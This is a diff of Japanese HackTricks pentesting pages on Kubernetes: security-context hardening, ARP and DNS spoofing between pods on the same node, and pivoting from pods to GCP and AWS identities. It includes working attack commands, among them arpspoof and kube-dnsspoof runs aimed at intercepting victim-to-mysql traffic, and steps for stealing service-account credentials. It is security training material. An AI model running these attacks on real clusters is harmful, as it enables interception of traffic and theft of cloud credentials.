| Sysctls は、pod で使用される **namespaced sysctls のリスト** を保持する。container runtime がサポートしていない sysctls を持つ Pods は起動に失敗する可能性がある。 | +|

windowsOptions
WindowsSecurityContextOptions

| すべての containers に適用される Windows 固有の設定。未指定の場合は、container の SecurityContext 内の options が使われる。 | ## SecurityContext -[**From the docs:**](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core) +[**docsより:**](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core) -このコンテキストは**コンテナ定義内**に設定されます。防御的なセキュリティの観点から考慮すべきことは次のとおりです: +この context は **containers definitions** 内で設定されます。防御的なセキュリティの観点では、以下を考慮すべきです。 -- **allowPrivilegeEscalation**を**False**に設定する -- 機密の**capabilities**を追加せず(必要のないものは削除する) -- **privileged**を**False**に設定する -- 可能であれば、**readOnlyFilesystem**を**True**に設定する -- **runAsNonRoot**を**True**に設定し、**runAsUser**を設定する -- 可能であれば、**seLinuxOptions**や**seccompProfile**を指定して**permissions**を**制限**することを検討する -- **runAsGroup**を介して**privilege** **group**アクセスを与えない。 +- **allowPrivilegeEscalation** を **False** にする +- 機微な **capabilities** を追加しない(不要なものは削除する) +- **privileged** を **False** にする +- 可能であれば、**readOnlyFilesystem** を **True** にする +- **runAsNonRoot** を **True** にし、**runAsUser** を設定する +- 可能であれば、**seLinuxOptions** と **seccompProfile** を指定して **permissions** を **制限** する +- **runAsGroup** 経由で **privilege** な **group** アクセスを与えない。 -**SecurityContext**と**PodSecurityContext**の両方に設定された属性に注意してください。**SecurityContext**で指定された値が**優先**されます。 +**SecurityContext** と **PodSecurityContext** の両方で属性が設定されている場合、**SecurityContext** で指定された値が **優先** されることに注意してください。 -|

allowPrivilegeEscalation
boolean

| **AllowPrivilegeEscalation**は、プロセスが親プロセスよりも**より多くの権限を得る**ことができるかどうかを制御します。このboolは、no_new_privsフラグがコンテナプロセスに設定されるかどうかを直接制御します。AllowPrivilegeEscalationは、コンテナが**Privileged**として実行されるか、**CAP_SYS_ADMIN**を持つ場合は常にtrueです。 | +|

allowPrivilegeEscalation
boolean

| **AllowPrivilegeEscalation** は、process が親 process よりも **多くの privileges を得られるか** を制御する。この bool は、container process に no_new_privs フラグを設定するかを直接制御する。container が **Privileged** として実行されるか **CAP_SYS_ADMIN** を持つ場合、AllowPrivilegeEscalation は常に true になる | | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -|

capabilities
Capabilities
More info about Capabilities

| コンテナを実行する際に追加/削除する**capabilities**。デフォルトはデフォルトのcapabilitiesのセットです。 | -|

privileged
boolean

| 特権モードでコンテナを実行します。特権コンテナ内のプロセスは、基本的に**ホスト上のrootと同等**です。デフォルトはfalseです。 | -|

procMount
string

| procMountは、コンテナに使用する**procマウントのタイプ**を示します。デフォルトはDefaultProcMountで、読み取り専用パスとマスクされたパスに対してコンテナランタイムのデフォルトを使用します。 | -|

readOnlyRootFilesystem
boolean

| この**コンテナが読み取り専用のルートファイルシステムを持つかどうか**。デフォルトはfalseです。 | -|

runAsGroup
integer

| コンテナプロセスのエントリポイントを実行するための**GID**。未設定の場合はランタイムのデフォルトを使用します。 | -|

runAsNonRoot
boolean

| コンテナが**非rootユーザーとして実行される必要がある**ことを示します。trueの場合、Kubeletはランタイムでイメージを検証し、UID 0(root)として実行されないことを確認し、そうであればコンテナの起動に失敗します。 | -|

runAsUser
integer

| コンテナプロセスのエントリポイントを実行するための**UID**。未指定の場合は、イメージメタデータで指定されたユーザーがデフォルトになります。 | -|

seLinuxOptions
SELinuxOptions
More info about seLinux

| コンテナに適用される**SELinuxコンテキスト**。未指定の場合、コンテナランタイムは各コンテナに対してランダムなSELinuxコンテキストを割り当てます。 | -|

seccompProfile
SeccompProfile

| このコンテナが使用する**seccompオプション**。 | -|

windowsOptions
WindowsSecurityContextOptions

| すべてのコンテナに適用される**Windows特有の設定**。 | +|

capabilities
Capabilities
More info about Capabilities

| container 実行時に追加/削除する **capabilities**。デフォルトの capabilities セットが既定値。 | +|

privileged
boolean

| privileged mode で container を実行する。privileged containers 内の process は本質的に **host 上の root と同等**。デフォルトは false。 | +|

procMount
string

| procMount は、containers に使用する **proc mount の種類** を示す。デフォルトは DefaultProcMount で、readonly paths と masked paths に container runtime のデフォルトを使う。 | +|

readOnlyRootFilesystem
boolean

| この **container が read-only root filesystem を持つか**。デフォルトは false。 | +|

runAsGroup
integer

| container process の entrypoint を実行するための **GID**。未設定の場合は runtime のデフォルトを使う。 | +|

runAsNonRoot
boolean

| container が **non-root user として実行されなければならない** ことを示す。true の場合、Kubelet は runtime 時に image を検証し、UID 0 (root) で実行されないことを確認する。実行される場合は container の起動に失敗する。 | +|

runAsUser
integer

| container process の entrypoint を実行するための **UID**。未指定の場合、image metadata で指定された user がデフォルトになる。 | +|

seLinuxOptions
SELinuxOptions
More info about seLinux

| container に適用される **SELinux context**。未指定の場合、container runtime は各 container に対してランダムな SELinux context を割り当てる。 | +|

seccompProfile
SeccompProfile

| この container で使用する **seccomp options**。 | +|

windowsOptions
WindowsSecurityContextOptions

| すべての containers に適用される **Windows 固有の設定**。 | + +## Practical workload review checklist + +Pod または workload template をレビューする際は、`spec.securityContext` と、`containers`、`initContainers`、`ephemeralContainers` 配下の各 container-level `securityContext` の両方を確認してください。container-level の field は pod-level のデフォルトを上書きできるため、安全そうに見える pod default でも、各 container が安全であるとは限りません。 + +優先して確認すべき高リスクな組み合わせ: + +- `privileged: true`。特に `hostPID`、`hostIPC`、`hostNetwork`、`hostPath`、host ports、または runtime socket mounts と組み合わさる場合。 +- `SYS_ADMIN`、`NET_ADMIN`、`SYS_PTRACE`、`SYS_MODULE`、`DAC_READ_SEARCH`、`DAC_OVERRIDE` などの追加 capabilities。 +- attacker-controlled code を実行できる containers での `allowPrivilegeEscalation: true`、または未設定。 +- `seccompProfile: Unconfined`、`procMount: Unmasked`、または機微な workloads で runtime profiles が不足している場合。 +- 信頼できない input を処理する workloads における writable root filesystem や広範な writable volume mounts。 +- マルチテナント namespace での CPU、memory、ephemeral-storage の requests と limits の欠如。 + +ほとんどの application workloads では、non-root UID で実行し、`runAsNonRoot: true` を設定し、`allowPrivilegeEscalation: false` を設定し、すべての capabilities を drop して必要最小限のものだけを追加し、`seccompProfile: RuntimeDefault` を使い、read-only root filesystem を優先し、host namespaces、hostPath mounts、privileged mode は避けるのが良い baseline です。 + +cluster レベルでは、可能な場合は [Pod Security Admission](https://kubernetes.io/docs/concepts/security/pod-security-admission/) の namespace labels を使って Kubernetes の [Pod Security Standards](https://kubernetes.io/docs/concepts/security/pod-security-standards/) を強制します。対応可能な namespace では `restricted` を使い、通常の application namespaces では少なくとも `baseline` を使い、privileged の例外は限定的かつ文書化し、信頼できる platform namespaces または node pools にのみ分離してください。 ## References - [https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core) - [https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core) +- [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/) +- [https://kubernetes.io/docs/concepts/security/linux-kernel-security-constraints/](https://kubernetes.io/docs/concepts/security/linux-kernel-security-constraints/) +- [https://kubernetes.io/docs/concepts/security/pod-security-standards/](https://kubernetes.io/docs/concepts/security/pod-security-standards/) +- [https://kubernetes.io/docs/concepts/security/pod-security-admission/](https://kubernetes.io/docs/concepts/security/pod-security-admission/) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/kubernetes-security/kubernetes-network-attacks.md b/src/pentesting-cloud/kubernetes-security/kubernetes-network-attacks.md index ee7457df4..44ed2c86c 100644 --- a/src/pentesting-cloud/kubernetes-security/kubernetes-network-attacks.md +++ b/src/pentesting-cloud/kubernetes-security/kubernetes-network-attacks.md @@ -4,16 +4,16 @@ ## Introduction -Kubernetesでは、デフォルトの動作により、**同じノードに存在するすべてのコンテナ間で接続が確立される**ことが許可されています。これは、名前空間の区別に関係なく適用されます。このような接続は、**Layer 2**(イーサネット)まで拡張されます。したがって、この構成はシステムを脆弱性にさらす可能性があります。具体的には、**悪意のあるコンテナ**が同じノードにある他のコンテナに対して**ARPスプーフィング攻撃**を実行する可能性を開きます。この攻撃中、悪意のあるコンテナは、他のコンテナ向けのネットワークトラフィックを欺いて傍受または変更することができます。 +Kubernetesでは、デフォルトの動作として、**同じnode上に存在するすべてのコンテナ**間で接続の確立が許可されることが確認されています。これはnamespaceの違いに関係なく適用されます。この接続性は**Layer 2**(Ethernet)まで及びます。その結果、この設定はシステムを脆弱性にさらす可能性があります。具体的には、同じnode上の他のコンテナに対して**malicious container**が**ARP spoofing attack**を実行できる可能性があります。このような攻撃では、malicious containerが他のコンテナ宛てのネットワークトラフィックを欺いて傍受したり、改ざんしたりできます。 -ARPスプーフィング攻撃は、**攻撃者がローカルエリアネットワーク上で偽のARP**(アドレス解決プロトコル)メッセージを送信することを含みます。これにより、**攻撃者のMACアドレスがネットワーク上の正当なコンピュータまたはサーバーのIPアドレスにリンクされます**。このような攻撃が成功裏に実行された後、攻撃者はデータを傍受、変更、または停止することができます。この攻撃はOSIモデルのLayer 2で実行されるため、Kubernetesにおけるこのレイヤーでのデフォルトの接続性はセキュリティ上の懸念を引き起こします。 +ARP spoofing attacksとは、**attackerが偽造されたARP**(Address Resolution Protocol)メッセージをローカルエリアネットワーク上に送信する攻撃です。これにより、**attackerのMAC addressがネットワーク上の正当なコンピュータまたはserverのIP addressに結び付けられます**。この攻撃が成功すると、attackerは通信中のデータを傍受、改ざん、あるいは停止させることができます。攻撃はOSI modelのLayer 2で実行されるため、Kubernetesにおけるこのレイヤーでのデフォルト接続性はセキュリティ上の懸念となります。 -シナリオでは、4台のマシンが作成されます: +このシナリオでは、4つのmachineが作成されます: -- ubuntu-pe: ノードにエスケープしてメトリクスを確認するための特権マシン(攻撃には必要ありません) -- **ubuntu-attack**: **悪意のある**コンテナ(デフォルトの名前空間内) -- **ubuntu-victim**: **被害者**マシン(kube-system名前空間内) -- **mysql**: **被害者**マシン(デフォルトの名前空間内) +- ubuntu-pe: nodeにescapeしてmetricsを確認するためのPrivileged machine(攻撃には不要) +- **ubuntu-attack**: default namespace内の**malicious** container +- **ubuntu-victim**: kube-system namespace内の**Victim** machine +- **mysql**: default namespace内の**Victim** machine ```yaml echo 'apiVersion: v1 kind: Pod @@ -96,22 +96,22 @@ kubectl exec -it ubuntu-attack -- bash -c "apt update; apt install -y net-tools kubectl exec -it ubuntu-victim -n kube-system -- bash -c "apt update; apt install -y net-tools curl netcat mysql-client; bash" kubectl exec -it mysql bash -- bash -c "apt update; apt install -y net-tools; bash" ``` -## 基本的なKubernetesネットワーキング +## 基本的な Kubernetes Networking -ここで紹介されているネットワーキングのトピックについての詳細は、リファレンスを参照してください。 +ここで紹介する networking トピックについてさらに詳しく知りたい場合は、references を参照してください。 ### ARP -一般的に言えば、**ノード内のポッド間ネットワーキング**は、すべてのポッドを接続する**ブリッジ**を介して利用可能です。このブリッジは「**cbr0**」と呼ばれます。(一部のネットワークプラグインは独自のブリッジをインストールします。)**cbr0はARP**(アドレス解決プロトコル)解決も処理できます。cbr0に到着した受信パケットは、ARPを使用して宛先MACアドレスを解決できます。 +一般的に、**node 内の pod-to-pod networking** は、すべての pod を接続する **bridge** を介して利用できます。この bridge は「**cbr0**」と呼ばれます。(一部の network plugin は独自の bridge をインストールします。)**cbr0 は ARP**(Address Resolution Protocol)の解決も処理できます。incoming packet が cbr0 に到着すると、ARP を使って destination の MAC address を解決できます。 -この事実は、デフォルトでは、**同じノードで実行されているすべてのポッド**が、**同じノード内の他のポッド**(名前空間に関係なく)とイーサネットレベル(レイヤー2)で**通信**できることを意味します。 +この事実は、デフォルトでは、**同じ node で動作しているすべての pod** が、ethernet level(layer 2)で同じ node 内の他の任意の pod と**communicate** できることを意味します(namespace とは独立に)。 > [!WARNING] -> したがって、**同じノード内のポッド間でARPスプーフィング攻撃を実行することが可能です。** +> そのため、同じ node 内の pod 間で A**RP Spoofing attacks** を実行することが可能です。 ### DNS -Kubernetes環境では、通常、kube-system名前空間で1つ(またはそれ以上)の**DNSサービスが実行されている**のを見つけることができます: +kubernetes 環境では、通常 kube-system namespace で 1 つ(または複数)の **DNS services running** を見つけることができます: ```bash kubectl -n kube-system describe services Name: kube-dns @@ -136,27 +136,30 @@ Port: metrics 9153/TCP TargetPort: 9153/TCP Endpoints: 172.17.0.2:9153 ``` -前の情報には興味深いことが見られます。**サービスのIP**は**10.96.0.10**ですが、**サービスを実行しているポッドのIP**は**172.17.0.2**です。 +前の情報を見ると興味深いものが分かります。**serviceのIP** は **10.96.0.10** ですが、serviceを実行している **podのIP** は **172.17.0.2** です。 -任意のポッド内でDNSアドレスを確認すると、次のようなものが見つかります: +任意のpod内でDNS addressを確認すると、次のようなものが見つかります: ``` cat /etc/resolv.conf nameserver 10.96.0.10 ``` -しかし、ポッドはそのアドレスに到達する方法を**知らない**ため、この場合のポッド範囲は172.17.0.10/26です。 +しかし、pod はその **address** への行き方を **知らない**。なぜなら、この場合の **pod range** は 172.17.0.10/26 だからである。 -したがって、ポッドは**アドレス10.96.0.10にDNSリクエストを送信**し、cbr0によって**172.17.0.2に変換**されます。 +したがって、pod は **DNS requests を address 10.96.0.10 に送信**し、それは cbr0 によって **172.17.0.2 に translated** される。 > [!WARNING] -> これは、ポッドの**DNSリクエスト**が**常に**ブリッジに行き、**サービスIPをエンドポイントIPに変換**することを意味します。たとえDNSサーバーがポッドと同じサブネットワークにあってもです。 +> これは、pod の **DNS request** は、DNS server が pod と同じ subnetwork にあったとしても、**service IP を endpoint IP に translate するために bridge を必ず通る**ことを意味する。 > -> これを知っており、**ARP攻撃が可能であることを知っている**場合、ノード内の**ポッド**は**サブネットワーク内の各ポッド**と**ブリッジ**間の**トラフィックを傍受**し、DNSサーバーからの**DNSレスポンスを変更**することができます(**DNSスプーフィング**)。 +> これを踏まえ、さらに **ARP attacks are possible** であることを考えると、node 内の **pod** は、**subnetwork** 内の **各 pod** と **bridge** の間の **traffic** を **intercept** し、DNS server からの **DNS responses** を **modify** できる(**DNS Spoofing**)。 > -> さらに、**DNSサーバー**が**攻撃者と同じノードにある**場合、攻撃者はクラスター内の任意のポッドの**すべてのDNSリクエストを傍受**し(DNSサーバーとブリッジの間)、レスポンスを変更することができます。 +> さらに、**DNS server** が attacker と **同じ node** にある場合、attacker は cluster 内の任意の pod の **DNS request** をすべて **intercept** し(DNS server と bridge の間で)、response を modify できる。 -## 同じノード内のポッドにおけるARPスプーフィング +> [!NOTE] +> 実際の cluster でこれが機能すると決めつける前に、active CNI と DNS path を確認してください。CNI によっては same-node traffic の扱いが異なる場合があり、NodeLocal DNSCache を使う cluster では、pod の DNS query が CoreDNS に転送される前に node-local address に送られることがあります。そのような環境では、DNS spoofing は pod の配置、packet capabilities、resolver configuration、node-local cache の動作、そして application が TLS や別の identity mechanism で peer を検証するかどうかに依存します。 -私たちの目標は、**ubuntu-victimからmysqlへの通信を少なくとも盗むこと**です。 +## 同じ Node 上の pod における ARP Spoofing + +私たちの目標は、**ubuntu-victim から mysql への通信を少なくとも steal すること**です。 ### Scapy ```bash @@ -233,16 +236,16 @@ arpspoof -t 172.17.0.9 172.17.0.10 ``` ## DNS Spoofing -既に述べたように、もしあなたが**DNSサーバーポッドと同じノードのポッドを侵害**した場合、**ARPSpoofing**を使用して**ブリッジとDNS**ポッドを**MitM**し、**すべてのDNSレスポンスを変更**することができます。 +既に述べたように、**DNS server pod と同じ node 上にある pod を compromise できれば**、**ARPSpoofing** を使って **bridge** と **DNS** pod の間で **MitM** し、**すべての DNS responses を modify** できます。 -あなたには、これをテストするための素晴らしい**ツール**と**チュートリアル**があります:[**https://github.com/danielsagi/kube-dnsspoof/**](https://github.com/danielsagi/kube-dnsspoof/) +これをテストするためのとても良い**tool** と **tutorial** が [**https://github.com/danielsagi/kube-dnsspoof/**](https://github.com/danielsagi/kube-dnsspoof/) にあります。 -私たちのシナリオでは、**攻撃者ポッドにツールをダウンロード**し、**スプーフィングしたいドメイン**を含む**`hosts`という名前のファイルを作成**します。 +今回のシナリオでは、attacker pod でその**tool** を**download** し、**spoof** したい **domains** を含む `hosts` という名前の**file** を作成します。 ``` cat hosts google.com. 1.1.1.1 ``` -ubuntu-victimマシンに対して攻撃を実行します: +Ubuntu-victim マシンに対して攻撃を実行してください: ``` python3 exploit.py --direct 172.17.0.10 [*] starting attack on direct mode to pod 172.17.0.10 @@ -260,47 +263,49 @@ dig google.com google.com. 1 IN A 1.1.1.1 ``` > [!NOTE] -> 自分のDNSスプーフィングスクリプトを作成しようとする場合、**DNS応答を変更するだけでは**、**機能しません**。なぜなら、**応答**には**悪意のある****ポッド**の**src IP**が含まれ、**受け入れられない**からです。\ -> 被害者がDNSリクエストを送信する**DNS**の**src IP**を持つ**新しいDNSパケット**を生成する必要があります(これは172.16.0.2のようなもので、10.96.0.10ではありません。これはK8s DNSサービスのIPであり、DNSサーバーのIPではありません。詳細はイントロダクションで説明します)。 +> 自分で DNS spoofing スクリプトを作ろうとする場合、**DNS response** を **ただ変更するだけ** では **動作しません**。なぜなら、その **response** の **src IP** が **malicious** **pod** の IP address になり、**受け入れられない** からです。\ +> **victim** が DNS request を送信した **DNS** の **src IP** を持つ **新しい DNS packet** を生成する必要があります(これは 172.16.0.2 のようなものです。10.96.0.10 ではありません。これは K8s DNS service IP であり DNS server ip ではありません。これについては introduction で詳しく説明します)。 -## coreDNS configmapを介したDNSスプーフィング +## coreDNS configmap を使った DNS Spoofing -kube-system名前空間のconfigmap `coredns`に対する書き込み権限を持つユーザーは、クラスターのDNS応答を変更できます。 +kube-system namespace の configmap `coredns` に対して write permissions を持つ user は、cluster の DNS responses を変更できます。 -この攻撃に関する詳細情報は以下を確認してください: +NodeLocal DNSCache が deployed されている場合も確認してください。通常、これは hostNetwork DaemonSet として動作し、独自の ConfigMap、logs、cache、forwarding path を持っています。CoreDNS の変更だけが、DNS behavior に影響したり観測されたりする唯一の場所とは限りません。 + +この attack の詳細は以下を参照してください: {{#ref}} abusing-roles-clusterroles-in-kubernetes/README.md {{/ref}} -## 公開されたKubernetes管理サービスの悪用 +## expose された kubernetes management services の悪用 -Apache NiFi、Kubeflow、Argo Workflows、Weave Scope、Kubernetesダッシュボードなどのサービスは、インターネットまたはKubernetesネットワーク内に公開されていることがよくあります。Kubernetesを管理するために使用されるプラットフォームを**見つけてアクセスできた**攻撃者は、それを悪用してKubernetes APIにアクセスし、新しいポッドを作成したり、既存のポッドを変更したり、さらには削除したりすることができます。 +Apache NiFi、Kubeflow、Argo Workflows、Weave Scope、Kubernetes dashboard のような services は、internet または kubernetes network 内に expose されていることがよくあります。**kubernetes を管理するために使われている platform を見つけて access できた** attacker は、それを悪用して kubernetes API への access を得て、新しい pods の作成、既存のものの変更、さらには削除などを実行できます。 -## Kubernetesネットワークポリシーの列挙 +## kubernetes network policies の列挙 -構成された**networkpolicies**を取得します: +設定済みの **networkpolicies** を取得する: ```bash kubectl get networkpolicies --all-namespaces ``` -**Callico** ネットワークポリシーを取得する: +Get **Callico** network policies: ```bash kubectl get globalnetworkpolicy --all-namespaces ``` -**Cillium** ネットワークポリシーを取得する: +**Cillium** network policies を取得する: ```bash kubectl get ciliumnetworkpolicy --all-namespaces ``` -ネットワークプラグインやセキュリティソリューションによってインストールされた他のポリシー関連のCRDを取得します: +ネットワークプラグインまたはセキュリティソリューションによってインストールされた他の policy-related CRDs を取得する: ```bash kubectl get crd | grep -i policy ``` ## トラフィックのキャプチャ -ツール [**Mizu**](https://github.com/up9inc/mizu) は、Kubernetes 用のシンプルでありながら強力な API **トラフィックビューワー**で、マイクロサービス間のすべての API 通信を **表示**し、デバッグや回帰のトラブルシューティングを支援します。\ -選択したポッドにエージェントをインストールし、トラフィック情報を収集してウェブサーバーに表示します。ただし、これには高い K8s 権限が必要で(あまりステルスではありません)。 +ツール[**Mizu**](https://github.com/up9inc/mizu)は、Kubernetes向けのシンプルかつ強力なAPI **traffic viewer**で、microservices間の**すべてのAPI communicationを確認**でき、debugやregressionのトラブルシュートに役立ちます。\ +選択したpodsにagentsをインストールしてtraffic情報を収集し、web serverで表示します。ただし、これには高いK8s権限が必要です(また、あまりstealthyではありません)。 -## 参考文献 +## References - [https://www.cyberark.com/resources/threat-research-blog/attacking-kubernetes-clusters-through-your-network-plumbing-part-1](https://www.cyberark.com/resources/threat-research-blog/attacking-kubernetes-clusters-through-your-network-plumbing-part-1) - [https://blog.aquasec.com/dns-spoofing-kubernetes-clusters](https://blog.aquasec.com/dns-spoofing-kubernetes-clusters) diff --git a/src/pentesting-cloud/kubernetes-security/kubernetes-pivoting-to-clouds.md b/src/pentesting-cloud/kubernetes-security/kubernetes-pivoting-to-clouds.md index 3474048ba..e5257ffa2 100644 --- a/src/pentesting-cloud/kubernetes-security/kubernetes-pivoting-to-clouds.md +++ b/src/pentesting-cloud/kubernetes-security/kubernetes-pivoting-to-clouds.md @@ -4,62 +4,62 @@ ## GCP -GCP 内で k8s クラスターを稼働させている場合、クラスター内で動作するアプリケーションに GCP へのアクセスを与えたいことが多いです。これを実現する一般的な方法は 2 つあります: +GCP 内で k8s cluster を実行している場合、cluster 内で動作している一部の application に GCP へのアクセス権を持たせたいはずです。これを行う一般的な方法は 2 つあります: ### Mounting GCP-SA keys as secret -Kubernetes アプリケーションに GCP へのアクセスを与える一般的な方法は次の通りです: +**kubernetes application to GCP** にアクセス権を与える一般的な方法は次のとおりです: -- Create a GCP Service Account -- Bind on it the desired permissions -- Download a json key of the created SA -- Mount it as a secret inside the pod -- Set the GOOGLE_APPLICATION_CREDENTIALS environment variable pointing to the path where the json is. +- GCP Service Account を作成する +- 必要な permissions をそれに bind する +- 作成した SA の json key をダウンロードする +- pod 内に secret として mount する +- GOOGLE_APPLICATION_CREDENTIALS environment variable を、json が置かれている path を指すように設定する > [!WARNING] -> したがって、**attacker** として、pod 内のコンテナを侵害した場合は、GCP 資格情報を含む **env** **variable** や **json** **files** がないか確認するべきです。 +> したがって、**attacker** として pod 内の container を compromise した場合は、この **env** **variable** と GCP credentials を含む **json** **files** を確認するべきです。 ### Relating GSA json to KSA secret -GSA に GKE cluser へのアクセスを与える方法の一つは、次のようにそれらをバインドすることです: +GSA に GKE cluser への access を与える方法の 1 つは、次のように bind することです: -- Create a Kubernetes service account in the same namespace as your GKE cluster using the following command: +- 次の command を使用して、GKE cluster と同じ namespace に Kubernetes service account を作成する: ```bash kubectl create serviceaccount ``` -- Kubernetes Secret を作成し、GKE cluster にアクセスを付与したい GCP service account の認証情報を含めます。これは `gcloud` コマンドラインツールを使用して行えます。以下の例を参照してください: +- GKE cluster へのアクセスを付与したい GCP service account の credentials を含む Kubernetes Secret を作成します。以下の例に示すように、`gcloud` command-line tool を使ってこれを行うことができます: ```bash gcloud iam service-accounts keys create .json \ --iam-account kubectl create secret generic \ --from-file=key.json=.json ``` -- 次のコマンドを使用して Kubernetes Secret を Kubernetes service account にバインドします: +- 以下のコマンドを使用して、Kubernetes Secret を Kubernetes service account に bind します: ```bash kubectl annotate serviceaccount \ iam.gke.io/gcp-service-account= ``` > [!WARNING] -> 第**second step**で、**credentials of the GSA as secret of the KSA** が設定されました。したがって、もし **read that secret** を **inside** の **GKE** クラスタから読み取ることができれば、**escalate to that GCP service account** できます。 +> **2番目のステップ**で、**GSAのcredentials**が**KSAのsecret**として設定されました。したがって、**GKE** clusterの**内側**からその**secret**を**read**できれば、その**GCP service account**に**escalate**できます。 ### GKE Workload Identity -Workload Identity を使用すると、a[ Kubernetes service account](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/) を [ Google service account](https://cloud.google.com/iam/docs/understanding-service-accounts) として動作させるように設定できます。Kubernetes service account を使って実行される Pods は、Google Cloud APIs にアクセスする際に自動的に Google service account として認証されます。 +Workload Identityを使うと、[ Kubernetes service account](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/)を[ Google service account](https://cloud.google.com/iam/docs/understanding-service-accounts)として動作するように設定できます。Kubernetes service accountで実行中のPodsは、Google Cloud APIsへアクセスする際に、自動的にGoogle service accountとしてauthenticateします。 -The **first series of steps** to enable this behaviour is to **enable Workload Identity in GCP** ([**steps**](https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c)) and create the GCP SA you want k8s to impersonate. +この動作を有効化するための**最初の一連のステップ**は、GCPでWorkload Identityを**enable**すること([**steps**](https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c))と、k8sにimpersonateさせたいGCP SAを作成することです。 -- **Enable Workload Identity** on a new cluster +- 新しい clusterで**Enable Workload Identity** ```bash gcloud container clusters update \ --region=us-central1 \ --workload-pool=.svc.id.goog ``` -- **新しい nodepool を作成/更新** (Autopilot clusters では不要) +- **新しい nodepool を作成/更新する** (Autopilot clusters では不要) ```bash # You could update instead of create gcloud container node-pools create --cluster= --workload-metadata=GKE_METADATA --region=us-central1 ``` -- K8sからGCPの権限を持つ **GCP Service Account to impersonate** を作成する: +- GCP permissions を持つ K8s から impersonate するための **GCP Service Account** を作成する: ```bash # Create SA called "gsa2ksa" gcloud iam service-accounts create gsa2ksa --project= @@ -69,7 +69,7 @@ gcloud projects add-iam-policy-binding \ --member "serviceAccount:gsa2ksa@.iam.gserviceaccount.com" \ --role "roles/iam.securityReviewer" ``` -- **クラスタ**に**接続**して、使用する**サービスアカウント**を**作成**する +- **cluster** に **Connect** し、使用する **service account** を **create** する ```bash # Get k8s creds gcloud container clusters get-credentials --region=us-central1 @@ -80,7 +80,7 @@ kubectl create namespace testing # Create the KSA kubectl create serviceaccount ksa2gcp -n testing ``` -- **GSAをKSAにバインドする** +- **GSA を KSA に Bind する** ```bash # Allow the KSA to access the GSA in GCP IAM gcloud iam service-accounts add-iam-policy-binding gsa2ksa@ [!WARNING] -> K8s 内の攻撃者としては **SAs を検索する**べきです(`iam.gke.io/gcp-service-account` アノテーションを持つもの)。これはその SA が GCP の何かにアクセスできることを示しています。別の方法として、クラスタ内の各 KSA を悪用できないか試し、それがアクセスできるか確認することもあります。\ -> GCP 側からは、bindings を列挙して、**Kubernetes 内の SAs にどのようなアクセスを与えているか**を把握することが常に重要です。 +> K8s 内の攻撃者として、**`iam.gke.io/gcp-service-account` annotation** を持つ **SAs** を **search** すべきです。これは、その SA が GCP の何かにアクセスできることを示します。別の方法としては、cluster 内の各 KSA を悪用して、アクセス権があるかどうか確認することです。\ +> GCP 側からは、bindings を列挙して、**Kubernetes 内の SAs にどの access を与えているか** を把握するのが常に有用です。 -これはその **annotation** を探すために、全ての pods 定義を簡単に **iterate** するスクリプトです: +これは、**all the pods** の定義を簡単に **iterate over** して、その **annotation** を **looking** するための script です: ```bash for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do @@ -141,9 +141,9 @@ done | grep -B 1 "gcp-service-account" ### Kiam & Kube2IAM (IAM role for Pods) -PodにIAM Rolesを付与する(時代遅れの)方法の一つは、[**Kiam**](https://github.com/uswitch/kiam) または [**Kube2IAM**](https://github.com/jtblin/kube2iam) の**server.**を使うことです。基本的には、クラスター内で**daemonset**を**ある種の特権的なIAM role**の権限で実行する必要があります。このdaemonsetが、必要とするPodに対してIAM rolesへのアクセスを付与します。 +Pods に IAM Roles を付与する (古い) 方法は、[**Kiam**](https://github.com/uswitch/kiam) または [**Kube2IAM**](https://github.com/jtblin/kube2iam) の **server.** を使うことです。基本的には、クラスター内で **特権的な IAM role** のようなものを持つ **daemonset** を実行する必要があります。この daemonset が、必要とする pods に IAM roles へのアクセスを与えるものになります。 -まず、**namespace内でどのrolesにアクセスできるか**を設定する必要があり、これはnamespaceオブジェクト内のannotationで行います: +まず最初に、**namespace 内でどの roles にアクセスできるか** を設定する必要があります。これは namespace オブジェクト内の annotation を使って行います: ```yaml:Kiam kind: Namespace metadata: @@ -161,7 +161,7 @@ iam.amazonaws.com/allowed-roles: | ["role-arn"] name: default ``` -namespace が IAM roles で設定され、Pods に付与可能になったら、各 pod 定義に対して **指定したい role を次のように示すことができます**: +namespace が IAM roles で設定されると、Pods は以下のように各 pod 定義で **希望する role を指定**できます: ```yaml:Kiam & Kube2iam kind: Pod metadata: @@ -171,12 +171,12 @@ annotations: iam.amazonaws.com/role: reportingdb-reader ``` > [!WARNING] -> 攻撃者として、もし pods や namespaces に**これらの注釈を見つけ**たり、kiam/kube2iam サーバーが実行されている(おそらく kube-system に)場合、既に pods によって**使用されている**すべての role を**なりすます**ことができ、さらに多くのことが可能になります(AWS アカウントにアクセスできる場合はロールを列挙してください)。 +> 攻撃者として、pods や namespaces の中でこれらの annotations を**見つけた**場合、または動作中の kiam/kube2iam server(おそらく kube-system 内)を見つけた場合、すでに pods によって**使われている**すべての r ole とそれ以上を**impersonate** できます(AWS account にアクセスできるなら roles を列挙してください)。 -#### IAM Role を持つ Pod の作成 +#### Create Pod with IAM Role > [!NOTE] -> 指定する IAM role は kiam/kube2iam role と同じ AWS アカウント内に存在し、その role からアクセスできる必要があります。 +> 指定する IAM role は、kiam/kube2iam role と同じ AWS account 